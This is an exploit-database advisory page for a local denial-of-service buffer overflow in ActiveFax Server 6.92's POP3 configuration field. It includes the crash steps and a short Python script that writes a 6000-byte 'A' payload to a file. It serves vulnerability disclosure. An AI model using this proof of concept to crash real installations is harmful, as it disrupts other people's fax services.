ActiveFax Server 6.92 Build 0316 - 'POP3 Server' Denial of Service

vendor:

ActiveFax Server

by:

Achilles

7.5

CVSS

HIGH

Denial of Service (DoS) Local Buffer Overflow

CWE

Product Name: ActiveFax Server

Affected Version From: 6.92

Affected Version To: 6.92

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 x64

2019

ActiveFax Server 6.92 Build 0316 – ‘POP3 Server’ Denial of Service

This exploit causes a denial of service (DoS) by creating a malicious payload and pasting it into the 'POP3 Server Address and Login and Password' field in ActiveFax Server 6.92 Build 0316. This leads to a crash in the application.

Mitigation:

Update to a patched version of ActiveFax Server to mitigate this vulnerability. Alternatively, restrict access to the 'POP3 Server' feature or disable it if not required.

Source

Exploit-DB raw data:

# Exploit Title: ActiveFax Server 6.92 Build 0316 - 'POP3 Server' Denial of Service
# Date: 2019-10-12
# Vendor Homepage: https://www.actfax.com/
# Software Link :  https://www.actfax.com/download/actfax_setup_x64_ge.exe
# Exploit Author: Achilles
# Tested Version: 6.92
# Tested on: Windows 7 x64
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
 
# Steps to Produce the Crash: 
# 1.- Run python code : ActiveFax_Server.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open ActiveFaxServer.exe
# 4.- Open the Pop3 Server Config
# 5.- Press New
# 6.- Paste the content of EVIL.txt into the field: 'POP3 Server Address and Login and Password'
# 7.- Press ok Twice
# 8.- And you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"